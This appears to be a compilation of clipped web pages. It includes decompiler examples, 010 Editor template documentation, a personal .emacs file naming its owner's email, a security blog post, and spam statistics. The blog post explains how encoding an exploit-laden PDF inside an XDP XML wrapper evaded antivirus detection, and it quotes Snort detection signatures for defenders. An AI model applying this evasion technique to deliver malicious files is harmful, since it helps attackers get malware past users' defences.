· Calls to virtual functions.
· Exception raising and handling statements.
Examples
Greatest common divisor
Assembler code:
8048094:
	push	ebp
	mov	ebp, esp
	sub	esp, 0x18
	cmp	[0xc + ebp], 0x0
	jne	0x80480a5
	mov	eax, [0x8 + ebp]
	jmp	0x80480c1
80480a5:
	mov	eax, [0x8 + ebp]
	mov	edx, eax
	sar	edx, 0x1f
	idiv	[0xc + ebp]
	mov	eax, edx
	mov	[0x4 + esp], eax
	mov	eax, [0xc + ebp]
	mov	[esp], eax
	call	0x8048094
80480c1:
	leave
	retn
Decompiled C code:
void func_0x8048094(int32_t arg1, int32_t arg2) {
    int32_t result;
    if (arg2 == 0) {
        result = arg1;
    } else {
        result = func_0x8048094(arg2, arg1 % arg2);
    }
    return result;
}
Binary functions
C++ source code:
struct BinaryFunction {
  virtual int operator()(int a, int b) = 0;
};

struct GCD: public BinaryFunction {
  virtual int operator()(int a, int b);
};

struct Pow: public BinaryFunction {
  virtual int operator()(int a, int b);
};

int GCD::operator()(int a, int b) {
  if (b == 0)
    return a;
  else
    return GCD::operator()(b, a % b);
}

int Pow::operator()(int a, int b) {
  int result = 1;
  for(int i = 0; i < b; i++)
    result *= a;
  return result;
}
Decompiled C++ code:
struct C0 {
  virtual int32_t f_401367(int32_t a1, int32_t a2) = 0;
}

struct C1: C0 {
  virtual int32_t f_401367(int32_t a1, int32_t a2);
}

struct C2: C0 {
  virtual int32_t f_401367(int32_t a1, int32_t a2);
}

int32_t C1::f_401367(int32_t a1, int32_t a2) {
  if (a2 == 0) {
    return a1;
  } else {
    return C1::f_401367(a2, a1 % a2);
  }
}

int32_t C2::f_401367(int32_t a1, int32_t a2) {
  int32_t v1;
  int32_t v2;
  v1 = 1;
  v2 = 0;
  while (v2 < a2) {
    v2 = v2 + 1;
    v1 = v1 * a1;
  }
  return v1;
}

﻿http://www.sweetscape.com/010editor/templates.html 
010 Editor - Binary Templates - Parsing Binary Files
Created:
9/3/2009 9:49:25 AM
Updated:
9/3/2009 9:49:32 AM
Author:

Tags:
bookmark reversing



Binary Templates - Parsing Binary Files 
A Binary Template is a file used to parse a binary file into a data structure. Instead of scanning through a series of hex bytes as with traditional hex editors, Templates allow data to be understood and edited in a much more powerful and intuitive way.
Templates are similar to structure definitions in C/C++, but are more flexible since they may include if, for, orwhile statements. A Template is executed as a program, starting from the first line of the file. Whenever a variable is declared, that variable is mapped to a set of bytes in a file. Data from that file can then be read from or written to by accessing the created variable. See below for an example of a Template. 
010 Editor contains full support for editing and running Binary Templates. An integrated source code editor is provided with syntax highlighting (pictured above right). Templates can even be configured to run automatically when a file is opened. 
Note: Some other editors provide a structure viewer using structs similar to C/C++; however, these viewers are not nearly as powerful as Binary Templates are not capable of parsing entire binary files. 


Example Template 
The following example demonstrates a simple Binary Template. This Template is designed for a binary file containing a series of employee records.
struct FILE {
    struct HEADER {
        char    type[4];
        int     version;
        int     numRecords;
    } header;

    struct RECORD {
        int     employeeId;
        char    name[40];
        float     salary;
        if( file.header.version > 1 )
            int      numChildren;
        if( file.header.version > 2 )
            time_t   birthDate;
    } record[ file.header.numRecords ];

} file;

When a variable is defined in the Template, that variable is mapped to a set of bytes in a file. In this case, the variable type would be mapped to the first four bytes of the file, version would be mapped to the next four bytes, and so on. When executing the Template, any of the variables defined can be accessed as soon as they are declared. Here file.header.version can be used to read data from the file even though file is not completely defined.
Templates are very flexible any may contain any of the regular C operators including +, -, *, /, &, |, ^, ~, %, ++, --, ?:, etc. A large number of functions are available to modify how Templates run. See Template Download below for more examples of Templates. 

Editing the Template Results 

Once a Template is run, the variables defined in the Template can be accessed in the Template Results panel displayed below the Hex Editor or in the Variables tab of the Inspector. The Template Results shows a full hierarchal view of the data as shown on the left. When a variable is selected from the list, the corresponding hex bytes will be selected in the main Hex Editor Window. Variables can be edited by clicking on the Value field, entering a new value and pressing Enter. 
Another way of reading values from the Template variables is to position the mouse cursor over some bytes in the Hex Editor Window. A hint popup will be displayed that indicates the value of the variable at that position. To lookup which variable corresponds to a certain byte position, move the cursor to that position and press Ctrl+J (Jump to Template Variable) and 010 Editor will locate the variable in the Template Results. 


Editing with Scripts 
Another way of editing variables produced from a Template is to use a Script. Scripts have a syntax similar to C and define variables in the regular way. For example, to double every employee's salary enter the following Script could be used:
int i;
for( i = 0; i < file.header.numRecords; i++ )
    file.record[i].salary *= 2.0;
The Script can modify any of the variables defined in the Template. Undo and Redo are supported for Scripts as with any other editing operation. 

Advanced Features 
010 Editor includes some additional functionality that make Templates even more powerful. For example: 
· Define regular C variables in a Template using the local keyword.
· Apply colors to Template variables so they will stand out in the editor (see the functions SetBackColor, SetForeColor, or SetColor in the documentation).
· The endian can be switched in the Template, allowing big-endian or little-endian data to be read from the same file (see the BigEndian or LittleEndian functions in the documentation).
· Template variables can be read in any order by using the functions FSeek or FTell to move around the file.
· Define your own Custom Variables by writing special read and write functions. This syntax allows data to be read in practically any possible format.
· Data can be read from a file without declaring a Template variable using the functions ReadByte, ReadShort, ReadInt, etc.
· Change the format of the data displayed in the Template Results using the syntax <format=hex|decimal|octal|binary> after a variable declaration.
· Both structs and unions are supported and can be used to define recursive data types.

Template Download 
A number of example Templates are available in the online template repository, which can be accessed using the following link: 
Download Templates
To submit Templates to the archive, use the Submit Template page. Feel free to submit any Templates you have which may be useful to other people. 

﻿https://github.com/entropie/dotfiles/blob/master/.emacs 
.emacs at master from entropie/dotfiles - GitHub
Created:
1/29/2011 11:37:51 AM
Updated:
2/6/2011 11:35:40 AM
Author:

Tags:
Emacs



Watch
  
Fork
 
1 
 
1 
Edit this file


when (featurep 'xemacs)
  (error "This .emacs file does not work with XEmacs."))

(when (file-directory-p "~/.emacs.d")
  (add-to-list 'load-path "~/.emacs.d"))

(when (file-directory-p "~/.emacs.d/mew")
  (add-to-list 'load-path "~/.emacs.d/mew"))
(when (file-directory-p "~/.emacs.d/howm")
  (add-to-list 'load-path "~/.emacs.d/howm"))
(when (file-directory-p "~/.emacs.d/epg/")
  (add-to-list 'load-path "~/.emacs.d/epg/"))
(when (file-directory-p "~/.emacs.d/nxml/")
  (add-to-list 'load-path "~/.emacs.d/nxml/"))
(when (file-directory-p "~/.emacs.d/haskell-mode/")
  (add-to-list 'load-path "~/.emacs.d/haskell-mode/"))
(when (file-directory-p "~/.emacs.d/emacs-w3m/")
  (add-to-list 'load-path "~/.emacs.d/emacs-w3m/"))

(require 'rainbow-mode)

(when (file-exists-p "~/.private.el")
  (load-file "~/.private.el"))

(add-to-list 'vc-handled-backends 'GIT)

(set-default 'truncate-1lines t)
(setq
 nopaste-facility "/home/mit/bin/rapaste"
 mt-is-default-font t
 ;;mt-default-font "-*-terminus-medium-*-*-*-20-*-*-*-*-*-*-*"
 mt-default-font "-*-Monaco-normal-r-*-*-12-102-120-120-c-*-iso8859-1"
 mt-other-font "-*-unifont-*-*-*-*-16-*-*-*-*-*-*-*"
 mt-rcirc-font "-*-helvetica-medium-r-*-*-17-*-*-*-*-*-*-*"
 )

(require 'filladapt)
(require 'mt-howm)
(require 'haskell-mode)
(require 'mt-functions)

(require 'bitlbee)
(setq bitlbee-executable nil)

;; (autoload 'mldonkey "mt-mldonkey.el" "mldonkey" t)
;; (autoload 'setnu-mode "setnu.el" "setnu" t)

(setq frame-title-format '("" invocation-name ": %b") icon-title-format "%b")


(autoload 'markdown-mode "markdown-mode.el"
   "Major mode for editing Markdown files" t)
(setq auto-mode-alist
   (cons '("\\.markdown" . markdown-mode) auto-mode-alist))
(add-hook 'markdown-mode-hook 'mt-markdown-setup)

(global-set-key (kbd "M-?") (lambda () (interactive) (insert "\\")))
(global-set-key (kbd "M-7") (lambda () (interactive) (insert "{")))
(global-set-key (kbd "M-8") (lambda () (interactive) (insert "[")))
(global-set-key (kbd "M-9") (lambda () (interactive) (insert "]")))
(global-set-key (kbd "M-0") (lambda () (interactive) (insert "}")))
(global-set-key (kbd "M-1") (lambda () (interactive) (insert "|")))
(global-set-key (kbd "M-2") (lambda () (interactive) (insert "@")))
(global-set-key (kbd "M-3") (lambda () (interactive) (insert "~")))
(global-set-key (kbd "M-4") (lambda () (interactive) (insert "<")))
(global-set-key (kbd "M-5") (lambda () (interactive) (insert ">")))
;; (prefer-coding-system 'latin-1)
;; (if (not (assoc "UTF-8" language-info-alist))
;; (set-language-environment "latin-1")
;; (set-language-environment "utf-8")
;; (set-keyboard-coding-system 'utf-8)
;; (set-terminal-coding-system 'utf-8)
;; (prefer-coding-system 'utf-8))

(defalias 'yes-or-no-p 'y-or-n-p)

(setq-default
 display-time-load-average nil
 display-time-interval 30
 display-time-use-mail-icon t
 require-final-newline 1
 indent-tabs-mode nil
 default-major-mode 'text-mode
 even-window-heights nil
 resize-mini-windows nil
 sentence-end-double-space nil
 display-time-24hr-format t
 browse-url-browser-function 'mt-choose-browser
 default-tab-width 8
 scroll-preserve-screen-position 'keep
 user-mail-address "mictro@gmail.com"
 user-full-name "Michael Trommer"
 inhibit-startup-message t
 diff-switches "-c"
 comment-style 'extra-line
 case-fold-search t
 read-file-name-completion-ignore-case t
 completion-ignore-case t
 cursor-in-non-selected-windows nil
 x-stretch-cursor t
 mouse-yank-at-point t
 mouse-highlight 1
 )
(add-hook 'before-save-hook 'time-stamp)

(if (file-directory-p "~/.backup")
    (setq backup-directory-alist '(("." . "~/.backup")))
  (message "Directory does not exist: ~/.backup"))

(setq dabbrev-case-fold-search nil
      confirm-kill-emacs 'yes-or-no-p)


;; Backups
(setq backup-by-copying t
      delete-old-versions t
      version-control t
      kept-new-versions 300
      kept-old-versions 200)
(set-frame-parameter (selected-frame) 'active-alpha 0.54)
(setq mac-transparency-alpha 84)


(setq w3m-default-save-directory "~/Downloads"
     kept-old-versions 200)

(require 'w3m)
(require 'url)
(require 'fit-frame)
(setq fit-frame-min-height 100)
(setq fit-frame-min-width 100)
;;(require 'autofit-frame)
;;(add-hook 'after-make-frame-functions 'fit-frame)

(global-set-key (kbd "C-c i") 'mt-increment-number-at-point)
(global-set-key (kbd "C-c M") 'mt-show-message-buffer)
(global-set-key (kbd "C-%") 'mt-match-paren)

(global-set-key (kbd "C-c l") 'mt-goto-last-edit)

(global-set-key (kbd "C-c TAB") 'indent-relative)
(global-set-key (kbd "C-c C-f") 'find-file-root)
(global-set-key (kbd "C-x n") nil)
(global-set-key (kbd "C-x n '") (lambda () (interactive) (insert "’")))
(global-set-key (kbd "C-x n p") (lambda () (interactive) (insert "平和")) )
(global-set-key (kbd "C-x n k") (lambda () (interactive) (insert "ĸ")) )
(global-set-key (kbd "C-x n g") (lambda () (interactive) (insert "&gassi;")) ) ;
(global-set-key (kbd "C-x n h") (lambda () (interactive) (insert "♥")) )
(global-set-key (kbd "C-x n m") (lambda () (interactive) (insert "훗")) )

(global-set-key (kbd "C-c , ,") 'howm-menu)
(global-set-key (kbd "C-c , G") 'howm-refresh)
(global-set-key (kbd "C-c e") 'mt-eshell-here)

(define-key isearch-mode-map (kbd "C-o") 'mt-isearch-occur)

(global-set-key (kbd "C-w") 'backward-kill-word)
(global-set-key (kbd "C-c C-k") 'kill-region)

(global-set-key (kbd "C-x <up>") 'windmove-up)
(global-set-key (kbd "C-x <down>") 'windmove-down)
(global-set-key (kbd "C-x <left>") 'windmove-left)
(global-set-key (kbd "C-x <right>") 'windmove-right)


(require 'bs)
(setq bs-configurations (butlast bs-configurations 2))
(add-to-list 'bs-configurations
             '("files" nil nil nil bs-visits-non-file bs-sort-buffer-interns-are-last))
(add-to-list 'bs-configurations
             '("ruby" nil nil nil (lambda (buf) (with-current-buffer buf (not (memq major-mode '(ruby-mode))))) nil))
(add-to-list 'bs-configurations
             '("dired" nil nil nil (lambda (buf) (with-current-buffer buf (not (eq major-mode 'dired-mode)))) nil))
(add-to-list 'bs-configurations
             '("mail" nil nil nil (lambda (buf) (with-current-buffer buf (not (memq major-mode '(mew-draft-mode mew-message-mode mew-summary-mode))))) nil))


(global-set-key (kbd "C-x C-b") 'bs-show)
;;(global-set-key (kbd "C-c O") (lambda () (interactive) (make-frame-on-display ":0.0")))
(global-set-key (kbd "C-c C-u") 'mt-kill-to-beginning-of-line)
(global-set-key (kbd "C-c d") 'mt-insert-date)
(global-set-key (kbd "C-c D") 'mt-insert-any-date)

(require 'mt-encryption)
(require 'mt-rcirc)
(global-set-key (kbd "M-.") 'hippie-expand)
(global-set-key (kbd "C-x I") 'mt-indent-buffer)
(global-set-key (kbd "M-RET") 'comment-indent-new-line)
(global-set-key (kbd "C-x t") 'mt-transpose-windows)
(global-set-key (kbd "C-x j") 'join-line)
(global-set-key (kbd "C-c g") 'goto-line)
(global-set-key (kbd "C-c G") 'goto-char)
(global-set-key (kbd "<f1>") 'mt-occur) ; grep buffers
(global-set-key (kbd "C-c b") 'browse-url)
(global-set-key (kbd "C-c G") 'mt-google)
(global-set-key (kbd "C-c B") 'browse-url-at-point)
(global-set-key (kbd "C-t") nil)

(autoload 'bm-toggle "bm" "bm" t)
(autoload 'highline-mode "highline" nil t)
(autoload 'highline-local-mode "highline" nil t)

(global-set-key (kbd "M-,") 'ispell-complete-word)
(global-set-key (kbd "C-t d") 'mt-dict-cc)
(global-set-key (kbd "C-t t") 'bm-toggle)

(global-set-key (kbd "C-t n") 'bm-next)
(global-set-key (kbd "C-t p") 'bm-previous)
(global-set-key (kbd "C-t P") 'mt-nopaste-region)
(global-set-key (kbd "C-t c") 'bm-remove-all)
(global-set-key (kbd "C-t i") 'irc)

(global-set-key (kbd "C-t h") 'highline-local-mode)
(global-set-key (kbd "C-t H") 'highlight-changes-mode)
(global-set-key (kbd "C-t C-l") 'ielm)


(global-set-key (kbd "C-c c") 'comment-or-uncomment-region)
(global-set-key (kbd "C-c C") 'mt-switch-dictionarry)
(global-set-key (kbd "C-x i") 'mt-insert-userid)
(global-set-key (kbd "C-x S") 'mt-insert-signature)

(global-set-key (kbd "C-x E") 'mt-insert-excuse)

(global-set-key (kbd "C-x a") 'abbrev-mode)
(global-set-key (kbd "C-x F") 'mt-toggle-font)
(global-set-key (kbd "C-x U") 'mt-toggle-utf8-latin1)

(require 'hideshow)
(define-key hs-minor-mode-map (kbd "C-c C-e") 'hs-show-block)
(define-key hs-minor-mode-map (kbd "C-c C-c") 'hs-toggle-hiding)
(define-key hs-minor-mode-map (kbd "C-c C-x") 'hs-hide-block)
(define-key hs-minor-mode-map (kbd "C-c C-t") 'hide-body)
(define-key hs-minor-mode-map (kbd "C-c C-a") 'hs-show-all)
(define-key hs-minor-mode-map (kbd "C-c C-h") 'hs-hide-all)
(define-key hs-minor-mode-map (kbd "C-c C-l") 'hs-hide-level)


(global-set-key (kbd "M-_") 'hippie-expand)
(global-set-key (kbd "C-x *") 'isearch-current-symbol)
(global-set-key (kbd "C-x c") 'mt-line-comment-and-duplicate)
(global-set-key (kbd "C-x C-y") nil)
(global-set-key (kbd "C-c C-y") 'escreen-goto-last-screen)


(iswitchb-mode 1)
(when (and (featurep 'tool-bar) window-system)
  (tool-bar-mode -1))
(when (fboundp 'blink-cursor-mode)
  (blink-cursor-mode -1))
(when (fboundp 'scroll-bar-mode)
  (scroll-bar-mode -1))
(when (fboundp 'menu-bar-mode)
  (menu-bar-mode -1))

(setq display-time-day-and-date nil
      display-time-use-mail-icon t
      )
(setq mark-even-if-inactive t)
(random t)
(setq show-paren-delay 0
      show-paren-style 'parenthesis
      hl-paren-colors '("LawnGreen" "SpringGreen"
                        "chartreuse", "YellowGreen"))



;;(setq-default ispell-dictionary "german8")

(setq ispell-program-name "/opt/local/bin/aspell")
(eval-after-load "ispell"
  '(add-to-list 'ispell-dictionary-alist
                '("german8"
                  "[a-zA-ZäöüßÄÖÜ]" "[^a-zA-ZäöüßÄÖÜ]" "[']" t
                  ("-C" "-d" "german")
                  "~latin1" iso-8859-1)))

(eval-after-load "flyspell"
  ;;'(define-key flyspell-mode-map "\M-\t" 'ispell-word)
  '(add-to-list 'ispell-dictionary-alist
                '("german8"
                  "[a-zA-ZäöüßÄÖÜ]" "[^a-zA-ZäöüßÄÖÜ]" "[']" t
                  ("-C" "-d" "german")
                  "~latin1" iso-8859-1)))

(add-hook 'eshell-mode-hook
          '(lambda () (define-key eshell-mode-map "\C-a" 'mt-eshell-maybe-bol)))

(add-to-list 'auto-mode-alist '("\\.ht$" . nxml-mode))


(require 'textile-mode)
(add-to-list 'auto-mode-alist '("\\.textile\\'" . textile-mode))

(add-hook 'nxml-mode-hook 'mt-html-setup)
(autoload 'nxml-mode "nxml/autostart.el" "nxml/autostart.el" t)
(define-abbrev-table 'global-abbrev-table '(
                                            ("alpha" "α" nil 0)
                                            ("beta" "β" nil 0)
                                            ("gamma" "γ" nil 0)
                                            ("theta" "θ" nil 0)
                                            ("kwiki" "http://wiki.kommunism.us/" nil 0)
                                            ))

(set-register ?e '(file . "~/.emacs"))


(require 'mt-unicode)

(if (boundp 'mail-user-agent)
    (setq mail-user-agent 'mew-user-agent))
(if (fboundp 'define-mail-user-agent)
    (define-mail-user-agent
      'mew-user-agent
      'mew-user-agent-compose
      'mew-draft-send-message
      'mew-draft-kill
      'mew-send-hook))
(autoload 'mew "mt-mew" "autoload mew." t)
(autoload 'compose-mail "mt-mew" "autoload mew." t)
(autoload 'mew-user-agent-compose "mew" nil t)

;;; Haskell
(add-to-list 'auto-mode-alist '("\\.[hg]s$" . haskell-mode))
(add-to-list 'auto-mode-alist '("\\.hi$" . haskell-mode))
(add-to-list 'auto-mode-alist '("\\.l[hg]s$" . literate-haskell-mode))
(autoload 'haskell-mode "haskell-mode"
  "Major mode for editing Haskell scripts" t)
(autoload 'literate-haskell-mode "haskell-mode"
  "Major mode for editing literate Haskell scripts" t)
(autoload 'run-ghci "haskell-ghci"
  "Go to the *ghci* buffer" t nil)
;;(set-variable 'haskell-program-name "ghci")
(defalias 'run-haskell (quote switch-to-haskell))
(autoload (quote switch-to-haskell) "inf-haskell"
  "Show the inferior-haskell buffer. Start the process if needed." t nil)

(add-hook 'haskell-mode-hook 'mt-haskell-setup)

(autoload 'highlight-parentheses-mode "highlight-parentheses"
  "highlight parentheses mode" t)



(require 'fillcode)
(autoload 'fillcode "fillcode" "fillcode" t)
(setq mudel-truncate-buffer-size (* 256 1024))

(mouse-avoidance-mode 'exile)
      
(setq pcomplete-cycle-completions nil)
                                  
(setq shell-prompt-pattern "^[^#$%\n]*[#$%*>] *")


(setq tramp-default-method "ssh")
(when (file-directory-p "~/.tramp-auto-save-directory")
  (setq tramp-auto-save-directory "~/.tramp-auto-save-directory"))

(autoload 'w3m-browse-url "w3m" "Ask emacs-w3m to browse URL." t)

(add-hook 'w3m-mode-hook 'mt-w3m-setup)
(add-hook 'w3m-form-input-textarea-mode-hook 'mt-remove-cr)

;; This might help in saving cookies
(eval-after-load "w3m"
  '(progn
     (add-hook 'kill-emacs-hook
               (lambda ()
                 (w3m-quit t)))))

(if (display-mouse-p) (mouse-avoidance-mode 'animate))

(setq hippie-expand-try-functions-list '(try-expand-dabbrev-visible
                                         try-complete-file-name
                                         try-expand-dabbrev-from-kill
                                         try-expand-dabbrev
                                         try-expand-dabbrev-all-buffers
                                         try-complete-file-name))

(global-set-key [insert] (function (lambda () (interactive) (message "Sorry, overwrite mode has been disabled forever."))))
(global-set-key [insertchar] (function (lambda () (interactive) (message "Sorry, overwrite mode has been disabled forever."))))
(global-set-key (kbd "C-z") (function (lambda () (interactive) (message "Sorry, no icons..."))))


(autoload 'yaml-mode "/home/mit/.emacs.d/yaml-mode" nil t)
(add-to-list 'auto-mode-alist '("\\.ya?ml$" . yaml-mode))

(add-to-list 'auto-mode-alist '("\\.css$" . css-mode))
(autoload 'css-mode "css-mode" "CSS mode" t)
(setq cssm-indent-function #'cssm-c-style-indenter)

(autoload 'wdired "wdired" "wdired" t)


(require 'mt-dired)

(require 'mt-ruby)
(autoload 'ri "/home/mit/.emacs.d/ri-ruby.el" nil t)
(autoload 'run-ruby "inf-ruby" "Run an inferior Ruby process")
(autoload 'inf-ruby-keys "inf-ruby" "Set local key defs for inf-ruby in ruby-mode")
(setq ri-ruby-script "/home/mit/.emacs.d/ri-emacs.rb")
(autoload 'ruby-electric-mode "ruby-electric" "ruby-electric")

(require 'snippet)

(define-abbrev-table 'mt-ruby-mode-abbrev-table '())
(define-abbrev-table 'mt-rcirc-mode-abbrev-table '())

;; (snippet-with-abbrev-table 'mt-rcirc-mode-abbrev-table
;; ("cop" . "/mode #ccc +o $${nick}")
;; ("cdop" . "/mode #ccc -o $${nick}"))


;;(add-hook 'ruby-mode-hook 'my-ruby-compile-hook)

(autoload 'ruby-mode "ruby-mode" "Ruby mode" t)
(autoload 'toggle-buffer "toggle" "toggle" t)
(autoload 'toggle-style "toggle" "toggle" t)
(add-to-list 'auto-mode-alist '("\\.rbx?$" . ruby-mode))
(add-hook 'howm-view-contents-mode-hook 'mt-howmc-setup)
(add-hook 'ruby-mode-hook 'mt-ruby-setup)
(add-hook 'yaml-mode-hook 'mt-yaml-setup)



(autoload 'dylan-mode "dylan-mode" "Major mode for Dylan source" t)
(setq auto-mode-alist
      (cons '("\\.dylan$" . dylan-mode) auto-mode-alist))
(add-hook 'dylan-mode-hook 'mt-dylan-setup)


(setq auto-mode-alist
      (append '(("\\.php$" . php-mode)
                ("\\.c$" . c-mode)
                ("\\.htm$" . nxml-mode)
                ("\\.html$". nxml-mode)
                ("\\.rb$" . ruby-mode)
                ("\\.rbx$" . ruby-mode)
                ("\\.hs$" . haskell-mode)
                ("\\.rd$" . rd-mode)
                ("\\.rdoc$" . rd-mode))
              auto-mode-alist))


;;; various minor modes
(dolist (i '((auto-image-file-mode 1)
             (global-auto-revert-mode 1)
             (line-number-mode -1)
             (display-time-mode 1)
             (column-number-mode 1)
             (show-paren-mode 1)
             (winner-mode 1)
             (tooltip-mode -1)
             (size-indication-mode 1)
             (transient-mark-mode 0)
             (global-font-lock-mode 1)
             (auto-compression-mode 1)
             ))
  (when (fboundp (car i))
    (funcall (car i) (cdr i))))

(autoload 'autoinsert "autoinsert" "Automaticaly headers for files")
(add-hook 'find-file-hooks 'auto-insert)
(setq auto-insert-directory (expand-file-name "~/.emacs.d/autoinsert/"))
(setq auto-insert-query nil)
(define-auto-insert "\\.rb\\'" "ruby")

(load "color-theme.el")
(load "color-theme-dd")
(load "color-theme-pop")

(require 'modeline-posn)

(add-hook 'after-make-frame-functions
          (lambda (frame)
            (set-variable 'color-theme-is-global nil)
            (select-frame frame)
            (when window-system
              (color-theme-pop))
            (when (not window-system)
              (color-theme-nox))))

(when (not window-system)
  (message "no X")
  (load "color-theme-nox")
  (setq server-name "mit")
  (when (or (not (boundp 'server-process))
            (not (eq (process-status server-process)
                     'listen)))
    (server-start)))


(when window-system
  (set-face-font 'default mt-default-font)
  (load "forx.el")
  (color-theme-initialize)
  (color-theme-dd)
  (setq favorite-color-themes
        '((color-theme-dd)
          (color-theme-pop)
          (color-theme-pop)))
  (setq x-select-enable-clipboard t
        interprogram-paste-function 'x-cut-buffer-or-selection-value))

  

(require 'cursor-chg)
(change-cursor-mode 1) ; On for overwrite/read-only/input mode
(toggle-cursor-type-when-idle 5) ; On when idle
(setq curchg-default-cursor-type 'bar)
(setq curchg-default-cursor-color "#FF8000")
(setq curchg-input-method-cursor-color "yellow")
(require 'saveplace)
(setq-default save-place t)


;;; escreen
(setq escreen-prefix-char (kbd "C-c a")
      escreen-new-screen-default-buffer "Code")
(require 'escreen)
(escreen-install)

(font-lock-add-keywords
 'ruby-mode
 '(("\\<\\(FIXME\\|TODO\\):" 1 font-lock-warning-face prepend)))


(put 'narrow-to-region 'disabled nil)
(put 'scroll-left 'disabled nil)
(put 'downcase-region 'disabled nil)

(autoload 'js2-mode "js2" nil t)
(add-to-list 'auto-mode-alist'("\\.js$" . js2-mode))
(setq js2-basic-offset 2)
(setq js2-bounce-indent-p t)
(setq js2-use-font-lock-faces t)

(autoload 'rd-mode "rd-mode" nil t)

(setq w3m-coding-system 'utf-8
      w3m-file-coding-system 'utf-8
      w3m-file-name-coding-system 'utf-8
      w3m-input-coding-system 'utf-8
      w3m-output-coding-system 'utf-8
      w3m-terminal-coding-system 'utf-8)

(autoload 'haml-mode "haml-mode" nil t)
(autoload 'sass-mode "sass-mode" nil t)
(add-to-list 'auto-mode-alist '("\\.sass$" . sass-mode))
(add-to-list 'auto-mode-alist '("\\.haml$" . haml-mode))
(add-hook 'sass-mode-hook 'mt-sass-setup)
(add-hook 'haml-mode-hook 'mt-haml-setup)


(autoload 'unicode-helper-mode "unicode-helper-mode" nil t)


;; show char name, used by C-u C-x =
(let ((x "~/.emacs.d/UnicodeData.txt"))
  (when (file-exists-p x)
    (setq describe-char-unicodedata-file x)))

(require 'uniquify)
(setq uniquify-buffer-name-style 'reverse)
(setq uniquify-separator "|")
(setq uniquify-after-kill-buffer-p t)
(setq uniquify-ignore-buffers-re "^\\*")
(custom-set-variables
  ;; custom-set-variables was added by Custom.
  ;; If you edit it by hand, you could mess it up, so be careful.
  ;; Your init file should contain only one such instance.
  ;; If there is more than one, they won't work right.
 '(paren-match-face (quote paren-face-match-light))
 '(paren-sexp-mode t)
 '(safe-local-variable-values (quote ((ruby-indent-level . 2)))))
(custom-set-faces
  ;; custom-set-faces was added by Custom.
  ;; If you edit it by hand, you could mess it up, so be careful.
  ;; Your init file should contain only one such instance.
  ;; If there is more than one, they won't work right.
 )



﻿http://blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp 
AV Bypass for Malicious PDFs Using XDP - 9b+
Created:
6/26/2012 9:32:56 AM
Updated:
6/26/2012 9:32:56 AM
Author:

Tags:
Malware-analysis pdf antivirus


AV Bypass for Malicious PDFs Using XDP
Update - 06/19/2012
alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"FILE-PDF Adobe PDF XDF encoded download attempt"; flow:to_client,established; flowbits:isset,file.xml; file_data; content:"JVBERi"; fast_pattern:only; content:"<xdp:xdp"; nocase; content:"<pdf"; distance:0; nocase; content:"<document"; distance:0; nocase; content:"<chunk"; distance:0; nocase; content:"JVBERi"; within:500; nocase; metadata:service http, service imap, service pop3; reference:url,blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp; reference:url,partners.adobe.com/public/developer/en/xml/xdp_2.0.pdf; classtype:misc-activity; sid:23166; rev:1;)
Update - 06/17/2012
I went and removed the little flamewar that was brewing to avoid any issues and also removed the comments that seemed to cause it all. If you have issues about responsible disclosure or have gripes with the post then email me. Comments that attempt to start problems will be removed. 
Below in the comments of this posting is another link that describes this same issue, but it is dated back at the start of 2011. It's unfortunate that this problem A) still exists and B) still has the same results with no detection by Anti-virus companies. 
Here is code I used for testing. 
Also, thanks to Abhijeet Hatekar for providing a snort signature to detect these files over the network:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"XDF encoded PDF file transfer."; flow:established, to_client;content:"<xdp:xdp xmlns:xdp=";nocase;fast_pattern; content:"<pdf xmlns="; nocase; content:"<chunk>JVBERi0";nocase; reference:url,blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp; classtype:misc-attack; sid:100045;rev:1;)
Original
Earlier today I was passed an interesting PDF sample that wasn't a proper PDF, but instead an XDP. Running the file resulted in Adobe Reader starting up and successfully exploiting my machine. The dropped files were really nothing interesting, but the method in which the file was created was due to the limited detection. 
I did some reading and stumbled upon the XDP specification. XDP is essentially a wrapper for PDF files so that they can be passed around as 100% XML files. Doing this ensures that web services or other programs can pull in PDF files in a structured way. Since XML can't handle binary data, one must encode the PDF as a base64 stream. 
The sample I came across this morning was great, but it was detected by one lone anti-virus. I figured I could take the heavy pint library and make something completely undetected. Using the drop news module I was able to quickly generate an encrypted PDF file using the old 2009-4324 media.newplayer exploit with null shellcode. Uploading the file to virus total resulted 0/42 detection. 
 

 
 

 
The exploit is old. The JS is not encoded. This shoud be fixed. If you are wondering how to combat against this on your network or in your inbox, then look for XDP files. Of course, one could simply change the extension and still trick the user, but only awareness can fix that. For those with DPI, look for the Adobe XDP namespace and base64 code to identify the PDF embedded inside. 
﻿http://www.symantec.com/connect/blogs/2000-2009-spam-explosion 
2000 – 2009: The Spam Explosion | Symantec Connect
Created:
1/13/2010 8:07:59 PM
Updated:
1/13/2010 8:08:13 PM
Author:

Tags:
statistics spam


2000 – 2009: The Spam Explosion

Dermot Harnett
January 12th, 2010
Filed under: Endpoint Protection (AntiVirus), Online Fraud, Spam, Security, Security Response
The year 2000—or Y2K—was a year in which we witnessed the Summer Olympics in Sydney, Australia, a United States presidential election decided by the the Supreme Court, and the burst of the dot-com bubble. 2000 was also the year that spam accounted for less than eight percent of all email, whereas today spam represents an average of nearly 90 percent of all email messages, with the majority of the jump in spam volumes surging in the latter part of the decade. This explosion not only affected the volume of messages received, but also increased the negative impact to organizations. While the true cost of spam is difficult to measure, some estimates put the cost at $130 billion worldwide, of which $42 billion is in the United States alone. 

In reviewing the past decade, a few notable spam related events stand out:
 
•    In 2004, Bill Gates predicted that spam would be eradicated within two years. 
•    More than 40 trillion spam messages were sent in 2009. 
•    Since 2006, spam levels have steadily climbed from 56 percent of all email to an all-time high of 95 percent at the end of May 2009. 
•    Spammers proved to be more evasive and sophisticated than ever in the past decade as we saw the complexity of spam techniques increase: 
     •    Spam with attached images reached a maximum of 52% of all spam in January 2007;
     •    PDF spam accounted for nearly 20% of all spam in August 2007;
     •    Dotted quad spam accounted for 15% of all spam in August 2007;
     •    As reported in the December 2009 State of Spam report;
     •    Financial spam accounted for 16%
     •    Internet spam accounted for 35%
     •    419 spam accounted for 9% 
